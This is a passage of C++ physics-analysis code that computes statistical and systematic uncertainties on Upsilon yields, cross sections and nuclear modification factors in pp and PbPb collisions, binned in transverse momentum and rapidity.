pow(maxDeviation(N1S_aa_pt3p5[3],N1B_aa_pt3p5s_12,nbkgdvars),2));\n syst1S_aa_pt[2]= sqrt (pow(RMS(N1S_aa_pt3p5[2],N1S_aa_pt3p5s_8,nfitvars),2) + pow(maxDeviation(N1S_aa_pt3p5[2],N1B_aa_pt3p5s_8,nbkgdvars),2));\n syst1S_aa_pt[1]= sqrt (pow(RMS(N1S_aa_pt3p5[1],N1S_aa_pt3p5s_5,nfitvars),2) + pow(maxDeviation(N1S_aa_pt3p5[1],N1B_aa_pt3p5s_5,nbkgdvars),2));\n syst1S_aa_pt[0]= sqrt (pow(RMS(N1S_aa_pt3p5[0],N1S_aa_pt3p5s_2p5,nfitvars),2) + pow(maxDeviation(N1S_aa_pt3p5[0],N1B_aa_pt3p5s_2p5,nbkgdvars),2));\n\n syst1S_pp_pt[5]= sqrt (pow(RMS(N1S_pp_pt3p5[5],N1S_pp_pt3p5s_40,nfitvars),2) + pow(maxDeviation(N1S_pp_pt3p5[5],N1B_pp_pt3p5s_40,nbkgdvars),2));\n syst1S_pp_pt[4]= sqrt (pow(RMS(N1S_pp_pt3p5[4],N1S_pp_pt3p5s_20,nfitvars),2) + pow(maxDeviation(N1S_pp_pt3p5[4],N1B_pp_pt3p5s_20,nbkgdvars),2));\n syst1S_pp_pt[3]= sqrt (pow(RMS(N1S_pp_pt3p5[3],N1S_pp_pt3p5s_12,nfitvars),2) + pow(maxDeviation(N1S_pp_pt3p5[3],N1B_pp_pt3p5s_12,nbkgdvars),2));\n syst1S_pp_pt[2]= sqrt (pow(RMS(N1S_pp_pt3p5[2],N1S_pp_pt3p5s_8,nfitvars),2) + pow(maxDeviation(N1S_pp_pt3p5[2],N1B_pp_pt3p5s_8,nbkgdvars),2));\n syst1S_pp_pt[1]= sqrt (pow(RMS(N1S_pp_pt3p5[1],N1S_pp_pt3p5s_5,nfitvars),2) + pow(maxDeviation(N1S_pp_pt3p5[1],N1B_pp_pt3p5s_5,nbkgdvars),2));\n syst1S_pp_pt[0]= sqrt (pow(RMS(N1S_pp_pt3p5[0],N1S_pp_pt3p5s_2p5,nfitvars),2) + pow(maxDeviation(N1S_pp_pt3p5[0],N1B_pp_pt3p5s_2p5,nbkgdvars),2));\n\n syst1S_aa_pt4[5]= sqrt (pow(RMS(N1S_aa_pt4[5],N1S_aa_pt4s_40,nfitvars),2) + pow(maxDeviation(N1S_aa_pt4[5],N1B_aa_pt4s_40,nbkgdvars),2));\n syst1S_aa_pt4[4]= sqrt (pow(RMS(N1S_aa_pt4[4],N1S_aa_pt4s_20,nfitvars),2) + pow(maxDeviation(N1S_aa_pt4[4],N1B_aa_pt4s_20,nbkgdvars),2));\n syst1S_aa_pt4[3]= sqrt (pow(RMS(N1S_aa_pt4[3],N1S_aa_pt4s_12,nfitvars),2) + pow(maxDeviation(N1S_aa_pt4[3],N1B_aa_pt4s_12,nbkgdvars),2));\n syst1S_aa_pt4[2]= sqrt (pow(RMS(N1S_aa_pt4[2],N1S_aa_pt4s_8,nfitvars),2) + pow(maxDeviation(N1S_aa_pt4[2],N1B_aa_pt4s_8,nbkgdvars),2));\n syst1S_aa_pt4[1]= sqrt (pow(RMS(N1S_aa_pt4[1],N1S_aa_pt4s_5,nfitvars),2) + pow(maxDeviation(N1S_aa_pt4[1],N1B_aa_pt4s_5,nbkgdvars),2));\n syst1S_aa_pt4[0]= sqrt (pow(RMS(N1S_aa_pt4[0],N1S_aa_pt4s_2p5,nfitvars),2) + pow(maxDeviation(N1S_aa_pt4[0],N1B_aa_pt4s_2p5,nbkgdvars),2));\n\n syst1S_pp_pt4[5]= sqrt (pow(RMS(N1S_pp_pt4[5],N1S_pp_pt4s_40,nfitvars),2) + pow(maxDeviation(N1S_pp_pt4[5],N1B_pp_pt4s_40,nbkgdvars),2));\n syst1S_pp_pt4[4]= sqrt (pow(RMS(N1S_pp_pt4[4],N1S_pp_pt4s_20,nfitvars),2) + pow(maxDeviation(N1S_pp_pt4[4],N1B_pp_pt4s_20,nbkgdvars),2));\n syst1S_pp_pt4[3]= sqrt (pow(RMS(N1S_pp_pt4[3],N1S_pp_pt4s_12,nfitvars),2) + pow(maxDeviation(N1S_pp_pt4[3],N1B_pp_pt4s_12,nbkgdvars),2));\n syst1S_pp_pt4[2]= sqrt (pow(RMS(N1S_pp_pt4[2],N1S_pp_pt4s_8,nfitvars),2) + pow(maxDeviation(N1S_pp_pt4[2],N1B_pp_pt4s_8,nbkgdvars),2));\n syst1S_pp_pt4[1]= sqrt (pow(RMS(N1S_pp_pt4[1],N1S_pp_pt4s_5,nfitvars),2) + pow(maxDeviation(N1S_pp_pt4[1],N1B_pp_pt4s_5,nbkgdvars),2));\n syst1S_pp_pt4[0]= sqrt (pow(RMS(N1S_pp_pt4[0],N1S_pp_pt4s_2p5,nfitvars),2) + pow(maxDeviation(N1S_pp_pt4[0],N1B_pp_pt4s_2p5,nbkgdvars),2));\n\n syst2S_pp_pt[5]= sqrt (pow(RMS(N2S_pp_pt4_2013[5],N2S_pp_pt4s_40,nfitvars),2) + pow(maxDeviation(N2S_pp_pt4_2013[5],N2B_pp_pt4s_40,nbkgdvars),2));\n syst2S_pp_pt[4]= sqrt (pow(RMS(N2S_pp_pt4_2013[4],N2S_pp_pt4s_20,nfitvars),2) + pow(maxDeviation(N2S_pp_pt4_2013[4],N2B_pp_pt4s_20,nbkgdvars),2));\n syst2S_pp_pt[3]= sqrt (pow(RMS(N2S_pp_pt4_2013[3],N2S_pp_pt4s_12,nfitvars),2) + pow(maxDeviation(N2S_pp_pt4_2013[3],N2B_pp_pt4s_12,nbkgdvars),2));\n syst2S_pp_pt[2]= sqrt (pow(RMS(N2S_pp_pt4_2013[2],N2S_pp_pt4s_8,nfitvars),2) + pow(maxDeviation(N2S_pp_pt4_2013[2],N2B_pp_pt4s_8,nbkgdvars),2));\n syst2S_pp_pt[1]= sqrt (pow(RMS(N2S_pp_pt4_2013[1],N2S_pp_pt4s_5,nfitvars),2) + pow(maxDeviation(N2S_pp_pt4_2013[1],N2B_pp_pt4s_5,nbkgdvars),2));\n syst2S_pp_pt[0]= sqrt (pow(RMS(N2S_pp_pt4_2013[0],N2S_pp_pt4s_2p5,nfitvars),2) + pow(maxDeviation(N2S_pp_pt4_2013[0],N2B_pp_pt4s_2p5,nbkgdvars),2));\n\n syst3S_pp_pt[5]= sqrt (pow(RMS(N3S_pp_pt4_2013[5],N3S_pp_pt4s_40,nfitvars),2) + pow(maxDeviation(N3S_pp_pt4_2013[5],N3B_pp_pt4s_40,nbkgdvars),2));\n syst3S_pp_pt[4]= sqrt (pow(RMS(N3S_pp_pt4_2013[4],N3S_pp_pt4s_20,nfitvars),2) + pow(maxDeviation(N3S_pp_pt4_2013[4],N3B_pp_pt4s_20,nbkgdvars),2));\n syst3S_pp_pt[3]= sqrt (pow(RMS(N3S_pp_pt4_2013[3],N3S_pp_pt4s_12,nfitvars),2) + pow(maxDeviation(N3S_pp_pt4_2013[3],N3B_pp_pt4s_12,nbkgdvars),2));\n syst3S_pp_pt[2]= sqrt (pow(RMS(N3S_pp_pt4_2013[2],N3S_pp_pt4s_8,nfitvars),2) + pow(maxDeviation(N3S_pp_pt4_2013[2],N3B_pp_pt4s_8,nbkgdvars),2));\n syst3S_pp_pt[1]= sqrt (pow(RMS(N3S_pp_pt4_2013[1],N3S_pp_pt4s_5,nfitvars),2) + pow(maxDeviation(N3S_pp_pt4_2013[1],N3B_pp_pt4s_5,nbkgdvars),2));\n syst3S_pp_pt[0]= sqrt (pow(RMS(N3S_pp_pt4_2013[0],N3S_pp_pt4s_2p5,nfitvars),2) + pow(maxDeviation(N3S_pp_pt4_2013[0],N3B_pp_pt4s_2p5,nbkgdvars),2));\n\n // large bins of pT for 2S\n syst2S_aa_pt[2]= sqrt (pow(RMS(N2S_aa_pt4_2013Large[2],N2S_aa_pt4Larges_20,nfitvars),2)+ pow(maxDeviation(N2S_aa_pt4_2013Large[2],N2B_aa_pt4Larges_20,nbkgdvars),2)) ;\n syst2S_aa_pt[1]= sqrt (pow(RMS(N2S_aa_pt4_2013Large[1],N2S_aa_pt4Larges_12,nfitvars),2)+ pow(maxDeviation(N2S_aa_pt4_2013Large[1],N2B_aa_pt4Larges_12,nbkgdvars),2)) ;\n syst2S_aa_pt[0]= sqrt (pow(RMS(N2S_aa_pt4_2013Large[0],N2S_aa_pt4Larges_5,nfitvars),2) + pow(maxDeviation(N2S_aa_pt4_2013Large[0],N2B_aa_pt4Larges_5,nbkgdvars),2)) ;\n\n syst2S_pp_ptLarge[0]= sqrt (pow(RMS(N2S_pp_pt4_2013Large[0],N2S_pp_pt4Larges_5,nfitvars),2) + pow(maxDeviation(N2S_pp_pt4_2013Large[0],N2B_pp_pt4Larges_5,nbkgdvars),2)) ;\n syst2S_pp_ptLarge[1]= sqrt (pow(RMS(N2S_pp_pt4_2013Large[1],N2S_pp_pt4Larges_12,nfitvars),2) + pow(maxDeviation(N2S_pp_pt4_2013Large[1],N2B_pp_pt4Larges_12,nbkgdvars),2)) ;\n syst2S_pp_ptLarge[2]= sqrt (pow(RMS(N2S_pp_pt4_2013Large[2],N2S_pp_pt4Larges_20,nfitvars),2) + pow(maxDeviation(N2S_pp_pt4_2013Large[2],N2B_pp_pt4Larges_20,nbkgdvars),2)) ;\n\n cout << \"--------------------1S-pt--------------------\" << endl;\nfor(int i=0; i<nPtBins_2013; i++){ \n // Aet_1S_pyquen_pts[i]=Aet_1S_pyquen_pt_STAs[i];\n // Aet_1S_pythia_pts[i]= Aet_1S_pythia_pt_STAs[i];\n syst1S_pptnp_pt[i]=Aet_1S_pythia_pt_fulls[i]/Aet_1S_pythia_pt_STA[i]; //add syst. unc. from tnp\n syst1S_pptnp_pt4[i]=t_1S_pythia_pt4e[i]/t_1S_pythia_pt4[i]; //add syst. unc. from tnp\n syst2S_pptnp_pt[i]=Aet_2S_pythia_pt2013s[i]/Aet_2S_pythia_pt2013[i];\n syst3S_pptnp_pt[i]=Aet_3S_pythia_pt2013s[i]/Aet_3S_pythia_pt2013[i];\n syst1S_aatnp_pt[i]=Aet_1S_pyquen_pt_fulls[i]/Aet_1S_pyquen_pt_STA[i];\n syst1S_aatnp_pt4[i]=t_1S_pyquen_pt4e[i]/t_1S_pyquen_pt4[i];\n \n // Aet_2S_pythia_pt2013s[i]=Aet_2S_pythia_pt2013s[i] ;// Aet_2S_pythia_pt2013_muIDTrigs;// Aet_2S_pythia_pt2013_STAs ;//0\n // Aet_2S_pythia_pt2013[i]=Aet_2S_pythia_pt2013[i] ;//else Ae_2S_pythia_pt2013[i] if SF=0\n // //removed +syst1S_pptnp_pt[i]*syst1S_pptnp_pt[i]+syst1S_aatnp_pt[i]*syst1S_aatnp_pt[i]\n\n\n stat1S_pp_pt[i]=N1S_pp_pt3p5e[i]/N1S_pp_pt3p5[i];\n stat1S_pp_pt4[i]=N1S_pp_pt4e[i]/N1S_pp_pt4[i];\n stat2S_pp_pt[i]=N2S_pp_pt4_2013e[i]/N2S_pp_pt4_2013[i];\n stat3S_pp_pt[i]=N3S_pp_pt4_2013e[i]/N3S_pp_pt4_2013[i];\n\n syst1S_raa_pointPt4[i]=sqrt(syst1S_pp_pt4[i]*syst1S_pp_pt4[i]+syst1S_aa_pt4[i]*syst1S_aa_pt4[i]+syst1S_pptnp_pt4[i]*syst1S_pptnp_pt4[i]+syst1S_aatnp_pt4[i]*syst1S_aatnp_pt4[i]+pow(Aet_1S_pyquen_pt4s[i]/Aet_1S_pyquen_pt4[i],2)+pow(Aet_1S_pythia_pt4s[i]/Aet_1S_pythia_pt4[i],2));// syst.pp + syst.pbpb + tnp_pp + tnp_pbpb\n\n\n syst1S_raa_pt4[i]=sqrt(syst1S_raa_pointPt4[i]*syst1S_raa_pointPt4[i]+syst1S_raa_global4*syst1S_raa_global4);\n syst1S_cspp_pt[i]=sqrt(syst1S_pptnp_pt[i]*syst1S_pptnp_pt[i]+syst1S_pp_pt[i]*syst1S_pp_pt[i]+(0.2/5.4)*(0.2/5.4)+pow(Aet_1S_pythia_pt_STAe[i]/Aet_1S_pythia_pt_STA[i],2));//tnp_pp + pp_fits + lumi + genshape\n syst1S_cspp_pt4[i]=sqrt(syst1S_pptnp_pt4[i]*syst1S_pptnp_pt4[i]+syst1S_pp_pt4[i]*syst1S_pp_pt4[i]+(0.2/5.4)*(0.2/5.4));\n syst2S_cspp_pt[i]=sqrt(syst2S_pptnp_pt[i]*syst2S_pptnp_pt[i]+syst2S_pp_pt[i]*syst2S_pp_pt[i]+(0.2/5.4)*(0.2/5.4)+pow(Aet_2S_pythia_pt2013e[i]/Aet_2S_pythia_pt2013[i],2)); //tnp_pp + pp_fits + lumi + genshape\n syst3S_cspp_pt[i]=sqrt(syst3S_pptnp_pt[i]*syst3S_pptnp_pt[i]+syst3S_pp_pt[i]*syst3S_pp_pt[i]+(0.2/5.4)*(0.2/5.4)+pow(Aet_3S_pythia_pt2013e[i]/Aet_3S_pythia_pt2013[i],2)); //tnp_pp + pp_fits + lumi + genshape\n syst1S_csaa_pt[i]=sqrt(syst1S_aatnp_pt[i]*syst1S_aatnp_pt[i]+syst1S_aa_pt[i]*syst1S_aa_pt[i]+(0.062*0.062)+pow(Aet_1S_pyquen_pt_STAe[i]/Aet_1S_pyquen_pt_STA[i],2)); //tnp aa+ aa_fits+ taa + genshape\n syst1S_csaa_pt4[i]=sqrt(syst1S_aatnp_pt4[i]*syst1S_aatnp_pt4[i]+syst1S_aa_pt4[i]*syst1S_aa_pt4[i]+(0.062*0.062));\n /// cout << (binsPt[i]).c_str() << \" \" << stat1S_pp_pt[i] << \" \" <<syst1S_pp_pt[i] <<\" \"<< syst1S_aa_pt[i] <<\" \"<< syst1S_pptnp_pt[i] <<\" \"<< syst1S_aatnp_pt[i]<<\" \"<< syst1S_raa_pointPt[i] <<\" \"<< syst1S_raa_pt[i]<< endl;\n\n //syst raa : pp(fit+tnp+genshape) + pbpb(fit+tnp+genshape), so no taa, no pp lumi here -> goes to global raa 1S uncertainty (same for 1S and nS).\n syst1S_raa_pointPt[i]=sqrt(syst1S_pptnp_pt[i]*syst1S_pptnp_pt[i]+syst1S_pp_pt[i]*syst1S_pp_pt[i]+pow(Aet_1S_pythia_pt_STAe[i]/Aet_1S_pythia_pt_STA[i],2)+syst1S_aatnp_pt[i]*syst1S_aatnp_pt[i]+syst1S_aa_pt[i]*syst1S_aa_pt[i]+pow(Aet_1S_pyquen_pt_STAe[i]/Aet_1S_pyquen_pt_STA[i],2));\n syst1S_raa_pt[i]=sqrt( syst1S_csaa_pt[i]*syst1S_csaa_pt[i] + syst1S_cspp_pt[i]*syst1S_cspp_pt[i] ); // this one is the total, cspp+csaa, no tracking as of now.\n\n\n }\n cout << \"--------------------1Spt4---------------------\" << endl;\nfor(int i=0; i<nPtBins_2013; i++){\n /// cout << (binsPt[i]).c_str() << \" \" << stat1S_pp_pt4[i] << \" \" <<syst1S_pp_pt4[i] <<\" \"<< syst1S_aa_pt4[i] <<\" \"<< syst1S_pptnp_pt4[i] <<\" \"<< syst1S_aatnp_pt4[i]<<\" \"<< syst1S_raa_pointPt4[i] <<\" \"<< syst1S_raa_pt4[i]<< endl;\n }\n\n\n syst1S_aa_rap[5]= sqrt (pow(RMS(N1S_aa_rap3p5_2014[5],N1S_aa_rap3p5s_2p4,nfitvars),2)+ pow(maxDeviation(N1S_aa_rap3p5_2014[5],N1B_aa_rap3p5s_2p4,nbkgdvars),2)) ;\n syst1S_aa_rap[4]= sqrt (pow(RMS(N1S_aa_rap3p5_2014[4],N1S_aa_rap3p5s_2p0,nfitvars),2)+ pow(maxDeviation(N1S_aa_rap3p5_2014[4],N1B_aa_rap3p5s_2p0,nbkgdvars),2)) ;\n syst1S_aa_rap[3]= sqrt (pow(RMS(N1S_aa_rap3p5_2014[3],N1S_aa_rap3p5s_1p6,nfitvars),2)+ pow(maxDeviation(N1S_aa_rap3p5_2014[3],N1B_aa_rap3p5s_1p6,nbkgdvars),2)) ;\n syst1S_aa_rap[2]= sqrt (pow(RMS(N1S_aa_rap3p5_2014[2],N1S_aa_rap3p5s_1p2,nfitvars),2)+ pow(maxDeviation(N1S_aa_rap3p5_2014[2],N1B_aa_rap3p5s_1p2,nbkgdvars),2)) ;\n syst1S_aa_rap[1]= sqrt (pow(RMS(N1S_aa_rap3p5_2014[1],N1S_aa_rap3p5s_0p8,nfitvars),2)+ pow(maxDeviation(N1S_aa_rap3p5_2014[1],N1B_aa_rap3p5s_0p8,nbkgdvars),2)) ;\n syst1S_aa_rap[0]= sqrt (pow(RMS(N1S_aa_rap3p5_2014[0],N1S_aa_rap3p5s_0p4,nfitvars),2)+ pow(maxDeviation(N1S_aa_rap3p5_2014[0],N1B_aa_rap3p5s_0p4,nbkgdvars),2)) ;\n \n syst1S_aa_rap4[5]= sqrt (pow(RMS(N1S_aa_rap4_2014[5],N1S_aa_rap4s_2p4,nfitvars),2)+ pow(maxDeviation(N1S_aa_rap4_2014[5],N1B_aa_rap4s_2p4,nbkgdvars),2)) ;\n syst1S_aa_rap4[4]= sqrt (pow(RMS(N1S_aa_rap4_2014[4],N1S_aa_rap4s_2p0,nfitvars),2)+ pow(maxDeviation(N1S_aa_rap4_2014[4],N1B_aa_rap4s_2p0,nbkgdvars),2)) ;\n syst1S_aa_rap4[3]= sqrt (pow(RMS(N1S_aa_rap4_2014[3],N1S_aa_rap4s_1p6,nfitvars),2)+ pow(maxDeviation(N1S_aa_rap4_2014[3],N1B_aa_rap4s_1p6,nbkgdvars),2)) ;\n syst1S_aa_rap4[2]= sqrt (pow(RMS(N1S_aa_rap4_2014[2],N1S_aa_rap4s_1p2,nfitvars),2)+ pow(maxDeviation(N1S_aa_rap4_2014[2],N1B_aa_rap4s_1p2,nbkgdvars),2)) ;\n syst1S_aa_rap4[1]= sqrt (pow(RMS(N1S_aa_rap4_2014[1],N1S_aa_rap4s_0p8,nfitvars),2)+ pow(maxDeviation(N1S_aa_rap4_2014[1],N1B_aa_rap4s_0p8,nbkgdvars),2)) ;\n syst1S_aa_rap4[0]= sqrt (pow(RMS(N1S_aa_rap4_2014[0],N1S_aa_rap4s_0p4,nfitvars),2)+ pow(maxDeviation(N1S_aa_rap4_2014[0],N1B_aa_rap4s_0p4,nbkgdvars),2)) ;\n \n syst1S_pp_rap[5]= sqrt (pow(RMS(N1S_pp_rap3p5_2014[5],N1S_pp_rap3p5s_2p4,nfitvars),2)+ pow(maxDeviation(N1S_pp_rap3p5_2014[5],N1B_pp_rap3p5s_2p4,nbkgdvars),2)) ;\n syst1S_pp_rap[4]= sqrt (pow(RMS(N1S_pp_rap3p5_2014[4],N1S_pp_rap3p5s_2p0,nfitvars),2)+ pow(maxDeviation(N1S_pp_rap3p5_2014[4],N1B_pp_rap3p5s_2p0,nbkgdvars),2)) ;\n syst1S_pp_rap[3]= sqrt (pow(RMS(N1S_pp_rap3p5_2014[3],N1S_pp_rap3p5s_1p6,nfitvars),2)+ pow(maxDeviation(N1S_pp_rap3p5_2014[3],N1B_pp_rap3p5s_1p6,nbkgdvars),2)) ;\n syst1S_pp_rap[2]= sqrt (pow(RMS(N1S_pp_rap3p5_2014[2],N1S_pp_rap3p5s_1p2,nfitvars),2)+ pow(maxDeviation(N1S_pp_rap3p5_2014[2],N1B_pp_rap3p5s_1p2,nbkgdvars),2)) ;\n syst1S_pp_rap[1]= sqrt (pow(RMS(N1S_pp_rap3p5_2014[1],N1S_pp_rap3p5s_0p8,nfitvars),2)+ pow(maxDeviation(N1S_pp_rap3p5_2014[1],N1B_pp_rap3p5s_0p8,nbkgdvars),2)) ;\n syst1S_pp_rap[0]= sqrt (pow(RMS(N1S_pp_rap3p5_2014[0],N1S_pp_rap3p5s_0p4,nfitvars),2)+ pow(maxDeviation(N1S_pp_rap3p5_2014[0],N1B_pp_rap3p5s_0p4,nbkgdvars),2)) ;\n \n syst1S_pp_rap4[5]= sqrt (pow(RMS(N1S_pp_rap4_2014[5],N1S_pp_rap4s_2p4,nfitvars),2)+ pow(maxDeviation(N1S_pp_rap4_2014[5],N1B_pp_rap4s_2p4,nbkgdvars),2)) ;\n syst1S_pp_rap4[4]= sqrt (pow(RMS(N1S_pp_rap4_2014[4],N1S_pp_rap4s_2p0,nfitvars),2)+ pow(maxDeviation(N1S_pp_rap4_2014[4],N1B_pp_rap4s_2p0,nbkgdvars),2)) ;\n syst1S_pp_rap4[3]= sqrt (pow(RMS(N1S_pp_rap4_2014[3],N1S_pp_rap4s_1p6,nfitvars),2)+ pow(maxDeviation(N1S_pp_rap4_2014[3],N1B_pp_rap4s_1p6,nbkgdvars),2)) ;\n syst1S_pp_rap4[2]= sqrt (pow(RMS(N1S_pp_rap4_2014[2],N1S_pp_rap4s_1p2,nfitvars),2)+ pow(maxDeviation(N1S_pp_rap4_2014[2],N1B_pp_rap4s_1p2,nbkgdvars),2)) ;\n syst1S_pp_rap4[1]= sqrt (pow(RMS(N1S_pp_rap4_2014[1],N1S_pp_rap4s_0p8,nfitvars),2)+ pow(maxDeviation(N1S_pp_rap4_2014[1],N1B_pp_rap4s_0p8,nbkgdvars),2)) ;\n syst1S_pp_rap4[0]= sqrt (pow(RMS(N1S_pp_rap4_2014[0],N1S_pp_rap4s_0p4,nfitvars),2)+ pow(maxDeviation(N1S_pp_rap4_2014[0],N1B_pp_rap4s_0p4,nbkgdvars),2)) ;\n \n syst2S_pp_rap[5]= sqrt (pow(RMS(N2S_pp_rap4_2014[5],N2S_pp_rap4s_2p4,nfitvars),2)+ pow(maxDeviation(N2S_pp_rap4_2014[5],N2B_pp_rap4s_2p4,nbkgdvars),2)) ;\n syst2S_pp_rap[4]= sqrt (pow(RMS(N2S_pp_rap4_2014[4],N2S_pp_rap4s_2p0,nfitvars),2)+ pow(maxDeviation(N2S_pp_rap4_2014[4],N2B_pp_rap4s_2p0,nbkgdvars),2)) ;\n syst2S_pp_rap[3]= sqrt (pow(RMS(N2S_pp_rap4_2014[3],N2S_pp_rap4s_1p6,nfitvars),2)+ pow(maxDeviation(N2S_pp_rap4_2014[3],N2B_pp_rap4s_1p6,nbkgdvars),2)) ;\n syst2S_pp_rap[2]= sqrt (pow(RMS(N2S_pp_rap4_2014[2],N2S_pp_rap4s_1p2,nfitvars),2)+ pow(maxDeviation(N2S_pp_rap4_2014[2],N2B_pp_rap4s_1p2,nbkgdvars),2)) ;\n syst2S_pp_rap[1]= sqrt (pow(RMS(N2S_pp_rap4_2014[1],N2S_pp_rap4s_0p8,nfitvars),2)+ pow(maxDeviation(N2S_pp_rap4_2014[1],N2B_pp_rap4s_0p8,nbkgdvars),2)) ;\n syst2S_pp_rap[0]= sqrt (pow(RMS(N2S_pp_rap4_2014[0],N2S_pp_rap4s_0p4,nfitvars),2)+ pow(maxDeviation(N2S_pp_rap4_2014[0],N2B_pp_rap4s_0p4,nbkgdvars),2)) ;\n\n syst3S_pp_rap[5]= sqrt (pow(RMS(N3S_pp_rap4_2014[5],N3S_pp_rap4s_2p4,nfitvars),2)+ pow(maxDeviation(N3S_pp_rap4_2014[5],N3B_pp_rap4s_2p4,nbkgdvars),2)) ;\n syst3S_pp_rap[4]= sqrt (pow(RMS(N3S_pp_rap4_2014[4],N3S_pp_rap4s_2p0,nfitvars),2)+ pow(maxDeviation(N3S_pp_rap4_2014[4],N3B_pp_rap4s_2p0,nbkgdvars),2)) ;\n syst3S_pp_rap[3]= sqrt (pow(RMS(N3S_pp_rap4_2014[3],N3S_pp_rap4s_1p6,nfitvars),2)+ pow(maxDeviation(N3S_pp_rap4_2014[3],N3B_pp_rap4s_1p6,nbkgdvars),2)) ;\n syst3S_pp_rap[2]= sqrt (pow(RMS(N3S_pp_rap4_2014[2],N3S_pp_rap4s_1p2,nfitvars),2)+ pow(maxDeviation(N3S_pp_rap4_2014[2],N3B_pp_rap4s_1p2,nbkgdvars),2)) ;\n syst3S_pp_rap[1]= sqrt (pow(RMS(N3S_pp_rap4_2014[1],N3S_pp_rap4s_0p8,nfitvars),2)+ pow(maxDeviation(N3S_pp_rap4_2014[1],N3B_pp_rap4s_0p8,nbkgdvars),2)) ;\n syst3S_pp_rap[0]= sqrt (pow(RMS(N3S_pp_rap4_2014[0],N3S_pp_rap4s_0p4,nfitvars),2)+ pow(maxDeviation(N3S_pp_rap4_2014[0],N3B_pp_rap4s_0p4,nbkgdvars),2)) ;\n\n syst2S_pp_rapLarge[1]=sqrt (pow(RMS(N2S_pp_rap4_2014Large[1],N2S_pp_rap4Larges_2p4,nfitvars),2)+ pow(maxDeviation(N2S_pp_rap4_2014Large[1],N2B_pp_rap4Larges_2p4,nbkgdvars),2));\n syst2S_pp_rapLarge[0]=sqrt (pow(RMS(N2S_pp_rap4_2014Large[0],N2S_pp_rap4Larges_1p2,nfitvars),2)+ pow(maxDeviation(N2S_pp_rap4_2014Large[0],N2B_pp_rap4Larges_1p2,nbkgdvars),2));\n\n syst2S_aa_rap[1]=sqrt (pow(RMS(N2S_aa_rap4_2014Large[1],N2S_aa_rap4Larges_2p4,nfitvars),2) + pow(maxDeviation(N2S_aa_rap4_2014Large[1],N2B_aa_rap4Larges_2p4,nbkgdvars),2)) ;\n syst2S_aa_rap[0]=sqrt (pow(RMS(N2S_aa_rap4_2014Large[0],N2S_aa_rap4Larges_1p2,nfitvars),2) + pow(maxDeviation(N2S_aa_rap4_2014Large[0],N2B_aa_rap4Larges_1p2,nbkgdvars),2)) ;\n\n\nfor(int i=0; i<nRapBins_2014; i++){\n // Aet_1S_pythia_rap2014s[i]=Aet_1S_pythia_rap2014_STAs[i];\n // Aet_1S_pythia_rap2014[i]=Aet_1S_pythia_rap2014_STA[i];\n // Aet_1S_pyquen_rap2014s[i]=Aet_1S_pyquen_rap2014_STAs[i];//Ae_1S_pyquen_rap42014s[];\n // Aet_1S_pyquen_rap2014[i]=Aet_1S_pyquen_rap2014_STA[i];\n\n // t_1S_pythia_rap3p5e[i]= t_1S_pythia_rap3p5_STAe[i];\n // t_1S_pythia_rap3p5[i]= t_1S_pythia_rap3p5_STA[i];\n\n syst1S_pptnp_rap[i] = Aet_1S_pythia_rap3p5_fulls[i]/Aet_1S_pythia_rap2014_STA[i];\n syst1S_pptnp_rap4[i]= t_1S_pythia_rap4e[i]/t_1S_pythia_rap4[i]; //add syst. unc. from tnp\n syst2S_pptnp_rap[i] = Aet_2S_pythia_rap2014s[i]/Aet_2S_pythia_rap2014[i];\n syst3S_pptnp_rap[i] = Aet_3S_pythia_rap2014s[i]/Aet_3S_pythia_rap2014[i];\n syst1S_aatnp_rap[i] = Aet_1S_pyquen_rap2014_fulls[i]/Aet_1S_pyquen_rap2014_STA[i];\n syst1S_aatnp_rap4[i]= t_1S_pyquen_rap4e[i]/t_1S_pyquen_rap4[i]; \n \n stat1S_pp_rap[i]=N1S_pp_rap3p5_2014e[i]/N1S_pp_rap3p5_2014[i];\n stat1S_pp_rap4[i]=N1S_pp_rap4_2014e[i]/N1S_pp_rap4_2014[i];\n stat2S_pp_rap[i]=N2S_pp_rap4_2014e[i]/N2S_pp_rap4_2014[i];\n stat3S_pp_rap[i]=N3S_pp_rap4_2014e[i]/N3S_pp_rap4_2014[i];\n\n // Syst pp nS = tnp(full syst)+ fits+ lumi+ genShape\n syst1S_cspp_rap[i]=sqrt(syst1S_pptnp_rap[i]*syst1S_pptnp_rap[i]+syst1S_pp_rap[i]*syst1S_pp_rap[i]+(0.2/5.4)*(0.2/5.4)+pow(Aet_1S_pythia_rap2014_muIDTrige[i]/Aet_1S_pythia_rap2014_muIDTrig[i],2));\n syst1S_cspp_rap4[i]=sqrt(syst1S_pptnp_rap4[i]*syst1S_pptnp_rap4[i]+syst1S_pp_rap4[i]*syst1S_pp_rap4[i]+(0.2/5.4)*(0.2/5.4)+pow(Aet_1S_pythia_rap4s[i]/Aet_1S_pythia_rap4[i],2));\n syst2S_cspp_rap[i]=sqrt(syst2S_pptnp_rap[i]*syst2S_pptnp_rap[i]+syst2S_pp_rap[i]*syst2S_pp_rap[i]+(0.2/5.4)*(0.2/5.4)+pow(Aet_2S_pythia_rap2014e[i]/Aet_2S_pythia_rap2014[i],2));\n syst3S_cspp_rap[i]=sqrt(syst3S_pptnp_rap[i]*syst3S_pptnp_rap[i]+syst3S_pp_rap[i]*syst3S_pp_rap[i]+(0.2/5.4)*(0.2/5.4)+pow(Aet_3S_pythia_rap2014e[i]/Aet_3S_pythia_rap2014[i],2));\n syst1S_csaa_rap[i]=sqrt(syst1S_aatnp_rap[i]*syst1S_aatnp_rap[i]+syst1S_aa_rap[i]*syst1S_aa_rap[i]+(0.062*0.062)+pow(Aet_1S_pyquen_rap2014_muIDTrige[i]/Aet_1S_pyquen_rap2014_muIDTrig[i],2));\n syst1S_csaa_rap4[i]=sqrt(syst1S_aatnp_rap4[i]*syst1S_aatnp_rap4[i]+syst1S_aa_rap4[i]*syst1S_aa_rap4[i]+(0.062*0.062)+pow(Aet_1S_pyquen_rap42014s[i]/Aet_1S_pyquen_rap42014[i],2));\n\n syst1S_raa_pointRap[i]=sqrt(syst1S_pptnp_rap[i]*syst1S_pptnp_rap[i]+syst1S_pp_rap[i]*syst1S_pp_rap[i]+pow(Aet_1S_pythia_rap2014_muIDTrige[i]/Aet_1S_pythia_rap2014_muIDTrig[i],2)+syst1S_aatnp_rap[i]*syst1S_aatnp_rap[i]+syst1S_aa_rap[i]*syst1S_aa_rap[i]+pow(Aet_1S_pyquen_rap2014_muIDTrige[i]/Aet_1S_pyquen_rap2014_muIDTrig[i],2)); // all of cs_pp and cs_aa, except lumi and taa\n syst1S_raa_rap[i]=sqrt(syst1S_raa_pointRap[i]*syst1S_raa_pointRap[i]+syst1S_raa_global*syst1S_raa_global); // 